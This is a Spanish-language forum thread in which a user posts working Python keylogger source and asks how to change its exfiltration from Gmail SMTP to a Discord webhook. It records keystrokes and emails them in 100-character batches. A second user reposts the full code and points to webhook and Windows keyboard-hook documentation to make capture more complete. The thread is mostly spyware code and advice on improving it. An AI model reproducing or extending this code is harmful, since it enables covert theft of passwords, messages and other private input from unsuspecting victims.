Ayuda con Keylogger

Iniciado por S4ur1k, 5 Abril 2020, 03:00 AM

0 Miembros y 1 Visitante están viendo este tema.

S4ur1k

Tengo el siguiente Keylogger, es capaz de enviar las pulsaciones a través del protocolo SMTP a una cuenta de GMAIL, en vez de usar dicho protocolo, quiero hacer que las pulsaciones sean enviadas a una Webhook del sitio Discord, usando la librería import discord_webhook.

¿Alguien puede ayudarme?

Código:

Código (python) [Seleccionar]
import keyboard as key

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib

import datetime

Text = ""

while True:
   Recorded = str(key.read_event())
   
   if Recorded.__contains__('up'):
       Recorded = Recorded.replace('KeyboardEvent(', '')
       Recorded = Recorded.replace(' up)', '')

       if (len(Recorded)>1):
           Text = Text + " " + Recorded + " "
       else:
           Text = Text + Recorded

   if (len(Text)>=100):
       try:
           msg = MIMEMultipart()

           password=""
           msg['From']=""
           msg['To']=""
           msg['Subject']="Report "+ str(datetime.datetime.now().date())

           msg.attach(MIMEText(Text, 'plain'))

           server = smtplib.SMTP('smtp.gmail.com: 587')
           server.starttls()

           server.login(msg['From'], password)

           server.sendmail(msg['From'], msg['To'], msg.as_string())

           server.quit()

           Text=""


       except:
           print("Error")



Mod: Obligatorio el uso de etiquetas GeSHi para codigo.

fary

Buenos dias,

Estás usando ¿Python? ( o al menos eso creo :rolleyes:). No sé que funciones de  Windows usa la libreria que usas para detectar teclas, pero en caso de que no use las funciones de hook del sistema puede que se te escapen muchísimas teclas  :xD Capaz le puedes hechar un ojo y ver a que funciones llama.

Por otro lado creo que tienes la documentación necesaria aquí (En caso de que sea Python) referente a Discord_WebHook:

https://pypi.org/project/Discord-Webhooks/

Windows hook: https://docs.microsoft.com/en-us/windows/win32/winmsg/hooks

Espero haberte ayudado en algo.

PD: Por favor utiliza las etiquetas de código para los códigos, los hacen mas leibles, fijate la diferencia.

Código (python) [Seleccionar]
import keyboard as key

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib

import datetime

Text = ""

while True:
    Recorded = str(key.read_event())
   
    if Recorded.__contains__('up'):
        Recorded = Recorded.replace('KeyboardEvent(', '')
        Recorded = Recorded.replace(' up)', '')

        if (len(Recorded)>1):
            Text = Text + " " + Recorded + " "
        else:
            Text = Text + Recorded

    if (len(Text)>=100):
        try:
            msg = MIMEMultipart()

            password=""
            msg['From']=""
            msg['To']=""
            msg['Subject']="Report "+ str(datetime.datetime.now().date())

            msg.attach(MIMEText(Text, 'plain'))

            server = smtplib.SMTP('smtp.gmail.com: 587')
            server.starttls()

            server.login(msg['From'], password)

            server.sendmail(msg['From'], msg['To'], msg.as_string())

            server.quit()

            Text=""


        except:
            print("Error")


Un byte a la izquierda.